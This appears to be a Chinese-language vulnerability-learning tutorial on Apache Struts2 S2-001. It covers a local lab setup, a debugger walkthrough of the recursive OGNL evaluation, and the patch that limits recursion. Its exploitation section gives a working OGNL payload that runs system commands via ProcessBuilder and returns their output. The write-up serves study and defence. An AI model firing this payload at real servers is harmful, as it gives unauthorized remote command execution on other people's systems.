从零开始学习struts2漏洞———S2-001
漏洞信息
漏洞信息页面: https://cwiki.apache.org/confluence/display/WW/S2-001
漏洞成因官方概述:Remote code exploit on form validation error
漏洞影响:
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
环境搭建
平台:macos15
工具:
- idea2020
- Tomcat 8.5
第一步
在IDEA中新建一个project
创建好project项目后,结构如下
第二步
在WEB-INF
目录中新建lib目录,将下载的war包解压开来,将所需的五个包放入
修改web.xml内容为
1 | "1.0" encoding="UTF-8" xml version= |
新建index.jsp和welcome.jsp内容如下
index.jsp
1 | <%@ page language="java" contentType="text/html; charset=UTF-8" |
welcome.jsp
1 | <%@ page language="java" contentType="text/html; charset=UTF-8" |
完成之后,如下图所示
第三步
在src目录下新建com.demo.action
package
在package下新建一个LoginAction.java
,内容如下
1 | package com.demo.action; |
然后在src目录下新建struts.xml,内容如下
1 | "1.0" encoding="UTF-8" xml version= |
结果如下图所示:
第四步
这时候会看到LoginAction会一直显示找不到要导入的opensymphony.xwork2.ActionSupport
,是由于jar包还没有真正的被导入到这个项目中
点击File->Project Structure
然后找到刚才在lib目录下的jar包,点上勾之后点击OK即可
然后Build->Build Project
build一下整个项目,刚才的包就被成功的导入到项目中,错误提示也就消失了
第五步
在Run——Edit Configurations
一下tomcat的环境即可
配置项目路径和端口,配置完成后运行tomcat就可以启动了
配置项目路径
配置成功后启动如下图:
漏洞利用
poc验证:
1 | %{1+1} |
命令执行:
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
将new java.lang.String[]{"whoami"})
中的whoami
替换为对应的命令,即可执行。
漏洞分析
在此之前,需要了解一些Struts2的工作原理的知识,方便我们后续代码审计
首先了解一下拦截器的概念:
拦截器是Struts2框架的核心,它主要完成解析请求参数、将请求参数赋值给Action属性、执行数据校验、文件上传等工作。
关于拦截器的知识,可以参考:Struts2拦截器Interceptor
在/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/struts-default.xml
中搜索params
,我们可以找到拦截器的位置,跟进
我们从S2_001/web/WEB-INF/lib/xwork-2.0.3.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.class
的doIntercept()
方法开始调试,到达该方法的97行,step into跟进
跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class
的invoke()
方法,然后继续Step over,到达this.executeResult()
处Step into跟进
跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/xwork-2.0.3.jar!/com/opensymphony/xwork2/DefaultActionInvocation.class
的executeResult()
方法,然后继续Step over,到达this.result.execute(this);
处Step into跟进
跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/StrutsResultSupport.class
的execute()
方法,然后继续Step over,到达this.doExecute(this.lastFinalLocation, invocation);
处Step into跟进
跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/dispatcher/ServletDispatcherResult.class
的doExecute()
方法,然后继续Step over,到达dispatcher.forward(request, response);
处Step into跟进
这里跟进比较多,过程就省略了,调用栈如下:
然后我们把断点重新设置在/Struts2/S2_001/web/index.jsp
,这里就一直Step into
跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class
的doStartTag()
方法,这个方法就是在解析标签,但这时的标签并不包含我们的payload,这里我们Step over
然后会返回到/Struts2/S2_001/web/index.jsp
,接着Step into跟进
跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class
的doEndTag()
方法,到达this.component.end(this.pageContext.getOut(), this.getBody());
处Step into跟进
跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/views/jsp/StrutsBodyTagSupport.class
,继续Step into跟进
跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class
,然后继续跟进evaluateParams();
方法
跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/components/UIBean.class
,然后继续Step over
这里因为开启了altSyntax
,expr变为为%{password}
到达this.addParameter("nameValue", this.findValue(expr, valueClazz));
处Step into跟进
跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/struts2-core-2.0.8.jar!/org/apache/struts2/components/Component.class
,然后继续Step over,遇到return TextParseUtil.translateVariables('%', expr, this.stack);
后Step into跟进
跟进后,到达/Struts2/S2_001/web/WEB-INF/lib/xwork-2.0.3.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
,这里遇到一个递归函数,留意这个递归函数,Step into跟进(其实就在这个方法的下面)
translateVariables()
方法源码如下:
1 | public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) { |
因为expr值为%{password}
,解析结果为%{1+1}
,然后递归调用了translateVariables()
方法,因为这是OGNL表达式,所以得到值为2,关于OGNL的知识,可以参考:Struts2中的OGNL详解
补丁分析
在Struts 2.0.9 和 XWork 2.0.4修复了此漏洞。
在idea中,我们使用compare with功能对比了XWork 2.0.3和XWork 2.0.4的代码(左侧为XWork 2.0.3,右侧为XWork 2.0.4)
这里新增了变量MAX_RECURSION=1
这里禁止了OGNL表达式的递归操作